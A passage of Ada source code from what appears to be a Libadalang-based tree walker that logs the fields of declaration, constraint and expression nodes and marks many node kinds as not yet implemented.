Protected_Body_Node : constant LAL.Protected_Body := LAL.As_Protected_Body (Node);
name : constant LAL.Defining_Name := LAL.F_Name (Protected_Body_Node);
decls : constant LAL.Declarative_Part := LAL.F_Decls (Protected_Body_Node);
endname : constant LAL.End_Name := LAL.F_End_Name (Protected_Body_Node);
begin
Log ("name: " & name.Debug_Text);
Log ("decls: " & decls.Debug_Text);
Log ("endname: " & endname.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Task_Body =>
declare
Task_Body_Node : constant LAL.Task_Body := LAL.As_Task_Body (Node);
name : constant LAL.Defining_Name := LAL.F_Name (Task_Body_Node);
decls : constant LAL.Declarative_Part := LAL.F_Decls (Task_Body_Node);
stmts : constant LAL.Declarative_Part := LAL.F_Decls (Task_Body_Node);
endname : constant LAL.End_Name := LAL.F_End_Name (Task_Body_Node);
begin
Log ("name: " & name.Debug_Text);
Log ("decls: " & decls.Debug_Text);
Log ("stmts: " & stmts.Debug_Text);
Log ("endname: " & endname.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Entry_Index_Spec =>
declare
Entry_Index_Spec_Node : constant LAL.Entry_Index_Spec := LAL.As_Entry_Index_Spec (Node);
id : constant LAL.Defining_Name := LAL.F_Id (Entry_Index_Spec_Node);
sub_type : constant LAL.Ada_Node := LAL.F_Subtype (Entry_Index_Spec_Node);
begin
Log ("id: " & id.Debug_Text);
Log ("sub_type: " & sub_type.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Error_Decl =>
declare
Error_Decl_Node : constant LAL.Error_Decl := LAL.As_Error_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Exception_Decl =>
declare
Exception_Decl_Node : constant LAL.Exception_Decl := LAL.As_Exception_Decl (Node);
ids : constant LAL.Defining_Name_List := LAL.F_Ids (Exception_Decl_Node);
rename : constant LAL.Renaming_Clause := LAL.F_Renames (Exception_Decl_Node);
begin
Log ("ids: " & ids.Debug_Text);
if not rename.Is_Null then
Log ("rename: " & rename.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Exception_Handler =>
declare
Exception_Handler_Node : constant LAL.Exception_Handler := LAL.As_Exception_Handler (Node);
exceptionName : constant LAL.Defining_Name := LAL.F_Exception_Name (Exception_Handler_Node);
handledExceptions : constant LAL.Alternatives_List := LAL.F_Handled_Exceptions (Exception_Handler_Node);
stmts : constant LAL.Stmt_List := LAL.F_Stmts (Exception_Handler_Node);
begin
if not exceptionName.Is_Null then
Log ("exceptionName: " & exceptionName.Debug_Text);
end if;
Log ("handledExceptions: " & handledExceptions.Debug_Text);
Log ("stmts: " & stmts.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_For_Loop_Var_Decl =>
declare
For_Loop_Var_Decl_Node : constant LAL.For_Loop_Var_Decl := LAL.As_For_Loop_Var_Decl (Node);
id : constant LAL.Defining_Name := LAL.F_Id (For_Loop_Var_Decl_Node);
idType : constant LAL.Subtype_Indication := LAL.F_Id_Type (For_Loop_Var_Decl_Node);
begin
Log ("id: " & id.Debug_Text);
if not idType.Is_Null then
Log ("idType: " & idType.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
--when Ada_Generic_Decl =>
-- This.Add_Not_Implemented;
when Ada_Generic_Package_Decl =>
declare
Generic_Package_Decl_Node : constant LAL.Generic_Package_Decl := LAL.As_Generic_Package_Decl (Node);
packageDecl : constant LAL.Generic_Package_Internal := LAL.F_Package_Decl (Generic_Package_Decl_Node);
bodyPart : constant LAL.Package_Body := LAL.P_Body_Part (Generic_Package_Decl_Node);
begin
Log ("packageDecl: " & packageDecl.Debug_Text);
if not bodyPart.Is_Null then
Log ("bodyPart: " & bodyPart.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Generic_Subp_Decl =>
declare
Generic_Subp_Decl_Node : constant LAL.Generic_Subp_Decl := LAL.As_Generic_Subp_Decl (Node);
subpDecl : constant LAL.Generic_Subp_Internal := LAL.F_Subp_Decl (Generic_Subp_Decl_Node);
-- bodyPart : constant LAL.Base_Subp_Body := LAL.P_Body_Part (Generic_Subp_Decl_Node);
begin
Log ("subpDecl: " & subpDecl.Debug_Text);
-- Log ("bodyPart: " & bodyPart.Debug_Text);
end;
This.Add_Not_Implemented;
--when Ada_Generic_Instantiation =>
-- This.Add_Not_Implemented;
when Ada_Generic_Package_Instantiation =>
declare
Generic_Package_Instantiation_Node : constant LAL.Generic_Package_Instantiation := LAL.As_Generic_Package_Instantiation (Node);
name : constant LAL.Defining_Name := LAL.F_Name (Generic_Package_Instantiation_Node);
gericPackageName : constant LAL.Name := LAL.F_Generic_Pkg_Name (Generic_Package_Instantiation_Node);
params : constant LAL.Assoc_List := LAL.F_Params (Generic_Package_Instantiation_Node);
begin
Log ("name: " & name.Debug_Text);
Log ("gericPackageName: " & gericPackageName.Debug_Text);
Log ("params: " & params.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Generic_Subp_Instantiation =>
declare
Generic_Subp_Instantiation_Node : constant LAL.Generic_Subp_Instantiation := LAL.As_Generic_Subp_Instantiation (Node);
--kind : constant Ada_Subp_Kind := LAL.F_Kind (Generic_Subp_Instantiation_Node);
subpName : constant LAL.Defining_Name := LAL.F_Subp_Name (Generic_Subp_Instantiation_Node);
genericSubpName : constant LAL.Name := LAL.F_Generic_Subp_Name (Generic_Subp_Instantiation_Node);
params : constant LAL.Assoc_List := LAL.F_Params (Generic_Subp_Instantiation_Node);
designatedSubp : constant LAL.Ada_Node := LAL.P_Designated_Subp (Generic_Subp_Instantiation_Node);
begin
--Log ("kind: " & kind.Debug_Text);
Log ("subpName: " & subpName.Debug_Text);
Log ("genericSubpName: " & genericSubpName.Debug_Text);
Log ("params: " & params.Debug_Text);
Log ("designatedSubp: " & designatedSubp.Debug_Text);
end;
This.Add_Not_Implemented;
--when Ada_Generic_Renaming_Decl =>
-- This.Add_Not_Implemented;
when Ada_Generic_Package_Renaming_Decl =>
declare
Generic_Package_Renaming_Decl_Node : constant LAL.Generic_Package_Renaming_Decl := LAL.As_Generic_Package_Renaming_Decl (Node);
name : constant LAL.Defining_Name := LAL.F_Name (Generic_Package_Renaming_Decl_Node);
rename : constant LAL.Name := LAL.F_Renames (Generic_Package_Renaming_Decl_Node);
begin
Log ("name: " & name.Debug_Text);
Log ("rename: " & rename.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Generic_Subp_Renaming_Decl =>
declare
Generic_Subp_Renaming_Decl_Node : constant LAL.Generic_Subp_Renaming_Decl := LAL.As_Generic_Subp_Renaming_Decl (Node);
kind : constant LAL.Subp_Kind := LAL.F_Kind (Generic_Subp_Renaming_Decl_Node);
name : constant LAL.Defining_Name := LAL.F_Name (Generic_Subp_Renaming_Decl_Node);
rename : constant LAL.Name := LAL.F_Renames (Generic_Subp_Renaming_Decl_Node);
begin
--Log ("kind: " & kind.Debug_Text);
Log ("kind: " & kind.Debug_Text);
Log ("name: " & name.Debug_Text);
Log ("rename: " & rename.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Label_Decl =>
declare
Label_Decl_Node : constant LAL.Label_Decl := LAL.As_Label_Decl (Node);
name : constant LAL.Defining_Name := LAL.F_Name (Label_Decl_Node);
begin
--Log ("kind: " & kind.Debug_Text);
Log ("name: " & name.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Named_Stmt_Decl =>
declare
Named_Stmt_Decl_Node : constant LAL.Named_Stmt_Decl := LAL.As_Named_Stmt_Decl (Node);
name : constant LAL.Defining_Name := LAL.F_Name (Named_Stmt_Decl_Node);
begin
--Log ("kind: " & kind.Debug_Text);
Log ("name: " & name.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Number_Decl =>
declare
Number_Decl_Node : constant LAL.Number_Decl := LAL.As_Number_Decl (Node);
ids : constant LAL.Defining_Name_List := LAL.F_Ids (Number_Decl_Node);
expr : constant LAL.Expr := LAL.F_Expr (Number_Decl_Node);
begin
--Log ("kind: " & kind.Debug_Text);
Log ("ids: " & ids.Debug_Text);
Log ("expr: " & expr.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Object_Decl =>
declare
Object_Decl_Node : constant LAL.Object_Decl := LAL.As_Object_Decl (Node);
FIds : constant LAL.Defining_Name_List := LAL.F_Ids (Object_Decl_Node);
Has_Aliased : constant Boolean := LAL.F_Has_Aliased (Object_Decl_Node);
Has_Constant : constant Boolean := LAL.F_Has_Constant (Object_Decl_Node);
mode : constant LAL.Mode := LAL.F_Mode (Object_Decl_Node);
typeExpr : constant LAL.Type_Expr := LAL.F_Type_Expr (Object_Decl_Node);
defaultExpr : constant LAL.Expr := LAL.F_Default_Expr (Object_Decl_Node);
renamingClause : constant LAL.Renaming_Clause := LAL.F_Renaming_Clause (Object_Decl_Node);
publicPartDecl : constant LAL.Basic_Decl := LAL.P_Public_Part_Decl (Object_Decl_Node);
begin
Log ("FIds: " & FIds.Debug_Text);
Log ("Has_Aliased: " & Boolean'Image (Has_Constant));
Log ("F_Has_Constant: " & Boolean'Image (Has_Constant));
Log ("mode: " & mode.Debug_Text);
if not typeExpr.Is_Null then
Log ("typeExpr: " & typeExpr.Debug_Text);
end if;
if not defaultExpr.Is_Null then
Log ("defaultExpr: " & defaultExpr.Debug_Text);
end if;
if not renamingClause.Is_Null then
Log ("renamingClause: " & renamingClause.Debug_Text);
end if;
if not publicPartDecl.Is_Null then
Log ("publicPartDecl: " & publicPartDecl.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Anonymous_Object_Decl =>
declare
Anonymous_Object_Decl_Node : constant LAL.Anonymous_Object_Decl := LAL.As_Anonymous_Object_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Extended_Return_Stmt_Object_Decl =>
declare
Extended_Return_Stmt_Object_Decl_Node : constant LAL.Extended_Return_Stmt_Object_Decl := LAL.As_Extended_Return_Stmt_Object_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Package_Renaming_Decl =>
declare
Package_Renaming_Decl_Node : constant LAL.Package_Renaming_Decl := LAL.As_Package_Renaming_Decl (Node);
name : constant LAL.Defining_Name := LAL.F_Name (Package_Renaming_Decl_Node);
rename : constant LAL.Renaming_Clause := LAL.F_Renames (Package_Renaming_Decl_Node);
renamedPackage : constant LAL.Basic_Decl := LAL.P_Renamed_Package (Package_Renaming_Decl_Node);
finalRenamedPackage : constant LAL.Basic_Decl := LAL.P_Final_Renamed_Package (Package_Renaming_Decl_Node);
begin
Log ("name: " & name.Debug_Text);
Log ("rename: " & rename.Debug_Text);
Log ("renamedPackage: " & renamedPackage.Debug_Text);
Log ("finalRenamedPackage: " & finalRenamedPackage.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Single_Protected_Decl =>
declare
Single_Protected_Decl_Node : constant LAL.Single_Protected_Decl := LAL.As_Single_Protected_Decl (Node);
name : constant LAL.Defining_Name := LAL.F_Name (Single_Protected_Decl_Node);
interfaces : constant LAL.Parent_List := LAL.F_Interfaces (Single_Protected_Decl_Node);
definition : constant LAL.Protected_Def := LAL.F_Definition (Single_Protected_Decl_Node);
begin
Log ("name: " & name.Debug_Text);
Log ("interfaces: " & interfaces.Debug_Text);
Log ("definition: " & definition.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Single_Task_Decl =>
declare
Single_Task_Decl_Node : constant LAL.Single_Task_Decl := LAL.As_Single_Task_Decl (Node);
taskType : constant LAL.Single_Task_Type_Decl := LAL.F_Task_Type (Single_Task_Decl_Node);
begin
Log ("taskType: " & taskType.Debug_Text);
end;
This.Add_Not_Implemented;
end case;
end Process_Ada_Basic_Decl;
procedure Process_Ada_Case_Stmt_Alternative_Range
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Case_Stmt_Alternative_Range";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Case_Stmt_Alternative_Range := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Case_Stmt_Alternative_Range
case Kind is
when Ada_Case_Stmt_Alternative =>
declare
Case_Stmt_Alternative_Node : constant LAL.Case_Stmt_Alternative := LAL.As_Case_Stmt_Alternative (Node);
choices : constant LAL.Alternatives_List := LAL.F_Choices (Case_Stmt_Alternative_Node);
stmts : constant LAL.Stmt_List := LAL.F_Stmts (Case_Stmt_Alternative_Node);
begin
Log ("choices: " & choices.Debug_Text);
Log ("stmts: " & stmts.Debug_Text);
end;
end case;
end Process_Ada_Case_Stmt_Alternative_Range;
procedure Process_Ada_Compilation_Unit_Range
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Compilation_Unit_Range";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Compilation_Unit_Range := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Compilation_Unit_Range
case Kind is
when Ada_Compilation_Unit =>
declare
Compilation_Unit_Node : constant LAL.Compilation_Unit := LAL.As_Compilation_Unit (Node);
prelude : constant LAL.Ada_Node_List := LAL.F_Prelude (Compilation_Unit_Node);
bodyunit : constant LAL.Ada_Node := LAL.F_Body (Compilation_Unit_Node);
pragmas : constant LAL.Pragma_Node_List := LAL.F_Pragmas (Compilation_Unit_Node);
syntaticQualifiedName : constant LAL.Unbounded_Text_Type_Array := LAL.P_Syntactic_Fully_Qualified_Name (Compilation_Unit_Node);
unitKind : constant LALCO.Analysis_Unit_Kind := LAL.P_Unit_Kind (Compilation_Unit_Node);
begin
Log ("prelude: " & prelude.Debug_Text);
Log ("bodyunit: " & bodyunit.Debug_Text);
Log ("pragmas: " & pragmas.Debug_Text);
-- Log ("syntaticQualifiedName: " & syntaticQualifiedName.Debug_Text);
-- Log ("unitKind: " & unitKind.Debug_Text);
end;
end case;
end Process_Ada_Compilation_Unit_Range;
procedure Process_Ada_Component_Clause_Range
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Component_Clause_Range";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Component_Clause_Range := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Component_Clause_Range
case Kind is
when Ada_Component_Clause =>
declare
Component_Clause_Node : constant LAL.Component_Clause := LAL.As_Component_Clause (Node);
id : constant LAL.Identifier := LAL.F_Id (Component_Clause_Node);
position : constant LAL.Expr := LAL.F_Position (Component_Clause_Node);
ranges : constant LAL.Range_Spec := LAL.F_Range (Component_Clause_Node);
begin
Log ("id: " & id.Debug_Text);
Log ("position: " & position.Debug_Text);
Log ("ranges: " & ranges.Debug_Text);
end;
end case;
end Process_Ada_Component_Clause_Range;
procedure Process_Ada_Component_Def_Range
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Component_Def_Range";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Component_Def_Range := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Component_Def_Range
case Kind is
when Ada_Component_Def =>
declare
Component_Def_Node : constant LAL.Component_Def := LAL.As_Component_Def (Node);
Has_Aliased : constant Boolean := LAL.F_Has_Aliased (Component_Def_Node);
Has_Constant : constant Boolean := LAL.F_Has_Constant (Component_Def_Node);
begin
Log ("Has_Aliased: " & Boolean'Image (Has_Aliased));
Log ("Has_Constant: " & Boolean'Image (Has_Constant));
end;
end case;
end Process_Ada_Component_Def_Range;
procedure Process_Ada_Constraint
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Constraint";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Constraint := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Constraint
case Kind is
when Ada_Delta_Constraint =>
declare
Delta_Constraint_Node : constant LAL.Delta_Constraint := LAL.As_Delta_Constraint (Node);
Digit : constant LAL.Expr := LAL.F_Digits (Delta_Constraint_Node);
ranges : constant LAL.Range_Spec := LAL.F_Range (Delta_Constraint_Node);
begin
Log ("Digit: " & Digit.Debug_Text);
Log ("ranges: " & ranges.Debug_Text);
end;
when Ada_Digits_Constraint =>
declare
Digits_Constraint_Node : constant LAL.Digits_Constraint := LAL.As_Digits_Constraint (Node);
Digit : constant LAL.Expr := LAL.F_Digits (Digits_Constraint_Node);
ranges : constant LAL.Range_Spec := LAL.F_Range (Digits_Constraint_Node);
begin
Log ("Digit: " & Digit.Debug_Text);
Log ("ranges: " & ranges.Debug_Text);
end;
when Ada_Discriminant_Constraint =>
declare
Discriminant_Constraint_Node : constant LAL.Discriminant_Constraint := LAL.As_Discriminant_Constraint (Node);
constraints : constant LAL.Assoc_List := LAL.F_Constraints (Discriminant_Constraint_Node);
begin
Log ("constraints: " & constraints.Debug_Text);
end;
when Ada_Index_Constraint =>
declare
Index_Constraint_Node : constant LAL.Index_Constraint := LAL.As_Index_Constraint (Node);
constraints : constant LAL.Constraint_List := LAL.F_Constraints (Index_Constraint_Node);
begin
Log ("constraints: " & constraints.Debug_Text);
end;
when Ada_Range_Constraint =>
declare
Range_Constraint_Node : constant LAL.Range_Constraint := LAL.As_Range_Constraint (Node);
ranges : constant LAL.Range_Spec := LAL.F_Range (Range_Constraint_Node);
begin
Log ("Range: " & ranges.Debug_Text);
end;
end case;
end Process_Ada_Constraint;
procedure Process_Ada_Constant_Node
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Constant_Node";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constant_Node_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Constant_Node := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Constant_Node
case Kind is
when Ada_Constant_Absent =>
declare
Constant_Absent_Node : constant LAL.Constant_Absent := LAL.As_Constant_Absent (Node);
begin
NULL;
end;
when Ada_Constant_Present =>
declare
Constant_Present_Node : constant LAL.Constant_Present := LAL.As_Constant_Present (Node);
begin
NULL;
end;
end case;
end Process_Ada_Constant_Node;
procedure Process_Ada_Declarative_Part_Range
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Declarative_Part_Range";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Declarative_Part_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Declarative_Part_Range := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Declarative_Part_Range
case Kind is
when Ada_Declarative_Part =>
declare
Declarative_Part_Node : constant LAL.Declarative_Part := LAL.As_Declarative_Part (Node);
decls : constant LAL.Ada_Node_List := LAL.F_Decls (Declarative_Part_Node);
begin
Log ("decls: " & decls.Debug_Text);
end;
when Ada_Private_Part =>
declare
Private_Part_Node : constant LAL.Private_Part := LAL.As_Private_Part (Node);
begin
NULL;
end;
when Ada_Public_Part =>
declare
Public_Part_Node : constant LAL.Public_Part := LAL.As_Public_Part (Node);
begin
NULL;
end;
end case;
end Process_Ada_Declarative_Part_Range;
procedure Process_Ada_Elsif_Expr_Part_Range
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Elsif_Expr_Part_Range";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Declarative_Part_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Elsif_Expr_Part_Range := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Elsif_Expr_Part_Range
case Kind is
when Ada_Elsif_Expr_Part =>
declare
Elsif_Expr_Part_Node : constant LAL.Elsif_Expr_Part := LAL.As_Elsif_Expr_Part (Node);
Cond_Expr : constant LAL.Expr := LAL.F_Cond_Expr (Elsif_Expr_Part_Node);
Then_Expr : constant LAL.Expr := LAL.F_Then_Expr (Elsif_Expr_Part_Node);
begin
Log ("Cond_Expr: " & Cond_Expr.Debug_Text);
Log ("Then_Expr: " & Then_Expr.Debug_Text);
end;
end case;
end Process_Ada_Elsif_Expr_Part_Range;
procedure Process_Ada_Elsif_Stmt_Part_Range
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Elsif_Stmt_Part_Range";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Declarative_Part_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Elsif_Stmt_Part_Range := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Elsif_Stmt_Part_Range
case Kind is
when Ada_Elsif_Stmt_Part =>
declare
Elsif_Stmt_Part_Node : constant LAL.Elsif_Stmt_Part := LAL.As_Elsif_Stmt_Part (Node);
Cond_Expr : constant LAL.Expr := LAL.F_Cond_Expr (Elsif_Stmt_Part_Node);
Stmts : constant LAL.Stmt_List := LAL.F_Stmts (Elsif_Stmt_Part_Node);
begin
Log ("Cond_Expr: " & Cond_Expr.Debug_Text);
Log ("Stmts: " & Stmts.Debug_Text);
end;
end case;
end Process_Ada_Elsif_Stmt_Part_Range;
procedure Process_Ada_Expr
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Ada_Expr";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Expr := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Expr
case Kind is
when Ada_Allocator =>
declare
Allocator_Node : constant LAL.Allocator := LAL.As_Allocator (Node);
Subpool : constant LAL.Name := LAL.F_Subpool (Allocator_Node);
Type_Or_Expr : constant LAL.Ada_Node := LAL.F_Type_Or_Expr (Allocator_Node);
Get_Allocated_Type : constant LAL.Base_Type_Decl := LAL.P_Get_Allocated_Type (Allocator_Node);
begin
if not Subpool.Is_Null then
Log ("Subpool: " & Subpool.Debug_Text);
end if;
if not Type_Or_Expr.Is_Null then
Log ("Type_Or_Expr: " & Type_Or_Expr.Debug_Text);
end if;
if not Get_Allocated_Type.Is_Null then
Log ("Get_Allocated_Type: " & Get_Allocated_Type.Debug_Text);
end if;
end;
when Ada_Aggregate =>
declare
Aggregate_Node : constant LAL.Aggregate := LAL.As_Aggregate (Node);
begin
NULL;
end;
when Ada_Null_Record_Aggregate =>
declare
Null_Record_Aggregate_Node : constant LAL.Null_Record_Aggregate := LAL.As_Null_Record_Aggregate (Node);
begin
NULL;
end;
when Ada_Bin_Op =>
declare
Bin_Op_Node : constant LAL.Bin_Op := LAL.As_Bin_Op (Node);
Left : constant LAL.Expr := LAL.F_Left (Bin_Op_Node);
Op : constant LAL.Op := LAL.F_Op (Bin_Op_Node);
Right : constant LAL.Expr := LAL.F_Right (Bin_Op_Node);
begin
Log ("Left: " & Left.Debug_Text);
Log ("Op: " & Op.Debug_Text);
Log ("Right: " & Right.Debug_Text);
end;
when Ada_Relation_Op =>
declare
Relation_Op_Node : constant LAL.Relation_Op := LAL.As_Relation_Op (Node);
begin
NULL;
end;
when Ada_Box_Expr =>
declare
Box_Expr_Node : constant LAL.Box_Expr := LAL.As_Box_Expr (Node);
begin
NULL;
end;
when Ada_Case_Expr =>
declare
Case_Expr_Node : constant LAL.Case_Expr := LAL.As_Case_Expr (Node);
Expr : constant LAL.Expr := LAL.F_Expr (Case_Expr_Node);
Cases : constant LAL.Case_Expr_Alternative_List := LAL.F_Cases (Case_Expr_Node);
begin
Log ("Expr: " & Expr.Debug_Text);
Log ("Cases: " & Cases.Debug_Text);
end;
when Ada_Case_Expr_Alternative =>
declare
Case_Expr_Alternative_Node : constant LAL.Case_Expr_Alternative := LAL.As_Case_Expr_Alternative (Node);
choices : constant LAL.Alternatives_List := LAL.F_Choices (Case_Expr_Alternative_Node);
expr : constant LAL.Expr := LAL.F_Expr (Case_Expr_Alternative_Node);
begin
Log ("choices: " & choices.Debug_Text);
Log ("expr: " & expr.Debug_Text);
end;
when Ada_Contract_Cases =>
declare
Contract_Cases_Node : constant LAL.Contract_Cases := LAL.As_Contract_Cases (Node);
contract_cases : constant LAL.Contract_Case_Assoc_List := LAL.F_Contract_Cases (Contract_Cases_Node);
begin
Log ("contract_cases: " & contract_cases.Debug_Text);
end;
when Ada_If_Expr =>
declare
If_Expr_Node : constant LAL.If_Expr := LAL.As_If_Expr (Node);
Cond_Expr : constant LAL.Expr := LAL.F_Cond_Expr (If_Expr_Node);
Then_Expr : constant LAL.Expr := LAL.F_Then_Expr (If_Expr_Node);
Alternatives : constant LAL.Elsif_Expr_Part_List := LAL.F_Alternatives (If_Expr_Node);
Else_Expr : constant LAL.Expr := LAL.F_Else_Expr (If_Expr_Node);
begin
Log ("Cond_Expr: " & Cond_Expr.Debug_Text);
Log ("Then_Expr: " & Then_Expr.Debug_Text);
Log ("Alternatives: " & Alternatives.Debug_Text);
if not Else_Expr.Is_Null then
Log ("Else_Expr: " & Else_Expr.Debug_Text);
end if;
end;
when Ada_Membership_Expr =>
declare
Membership_Expr_Node : constant LAL.Membership_Expr := LAL.As_Membership_Expr (Node);
Expr : constant LAL.Expr := LAL.F_Expr (Membership_Expr_Node);
Op : constant LAL.Op := LAL.F_Op (Membership_Expr_Node);
Membership_Exprs : constant LAL.Expr_Alternatives_List := LAL.F_Membership_Exprs (Membership_Expr_Node);
begin
Log ("Expr: " & Expr.Debug_Text);
Log ("Op: " & Op.Debug_Text);
Log ("Membership_Exprs: " & Membership_Exprs.Debug_Text);
end;
when Ada_Attribute_Ref =>
declare
Attribute_Ref_Node : constant LAL.Attribute_Ref := LAL.As_Attribute_Ref (Node);
Prefix : constant LAL.Name := LAL.F_Prefix (Attribute_Ref_Node);
Attribute : constant LAL.Identifier := LAL.F_Attribute (Attribute_Ref_Node);
Args : constant LAL.Ada_Node := LAL.F_Args (Attribute_Ref_Node);
begin
Log ("Prefix: " & Prefix.Debug_Text);
Log ("Attribute: " & Attribute.Debug_Text);
if not Args.Is_Null then
Log ("Args: " & Args.Debug_Text);
end if;
end;
when Ada_Update_Attribute_Ref =>
declare
Update_Attribute_Ref_Node : constant LAL.Update_Attribute_Ref := LAL.As_Update_Attribute_Ref (Node);
begin
NULL;
end;
when Ada_Call_Expr =>
declare
Call_Expr_Node : constant LAL.Call_Expr := LAL.As_Call_Expr (Node);
Name : constant LAL.Name := LAL.F_Name (Call_Expr_Node);
Suffix : constant LAL.Ada_Node := LAL.F_Suffix (Call_Expr_Node);
-- Is_Array_Slice : constant Boolean := LAL.P_Is_Array_Slice (Call_Expr_Node);
begin
Log ("Name: " & Name.Debug_Text);
Log ("Suffix: " & Suffix.Debug_Text);
-- Log ("Is_Array_Slice: " & Boolean'Image(Is_Array_Slice));
end;
when Ada_Defining_Name =>
declare
Defining_Name_Node : constant LAL.Defining_Name := LAL.As_Defining_Name (Node);
begin
NULL;
end;
when Ada_Discrete_Subtype_Name =>
declare
Discrete_Subtype_Name_Node : constant LAL.Discrete_Subtype_Name := LAL.As_Discrete_Subtype_Name (Node);
Sub_Type : constant LAL.Discrete_Subtype_Indication := LAL.F_Subtype (Discrete_Subtype_Name_Node);
begin
Log ("Sub_Type: " & Sub_Type.Debug_Text);
end;
when Ada_Dotted_Name =>
declare
Dotted_Name_Node : constant LAL.Dotted_Name := LAL.As_Dotted_Name (Node);
Prefix : constant LAL.Name := LAL.F_Prefix (Dotted_Name_Node);
Suffix : constant LAL.Base_Id := LAL.F_Suffix (Dotted_Name_Node);
begin
Log ("Prefix: " & Prefix.Debug_Text);
Log ("Suffix: " & Suffix.Debug_Text);
end;
when Ada_End_Name =>
declare
End_Name_Node : constant LAL.End_Name := LAL.As_End_Name (Node);
Name : constant LAL.Name := LAL.F_Name (End_Name_Node);
Basic_Decl : constant LAL.Basic_Decl := LAL.P_Basic_Decl (End_Name_Node);
begin
Log ("Name: " & Name.Debug_Text);
Log ("Basic_Decl: " & Basic_Decl.Debug_Text);
end;
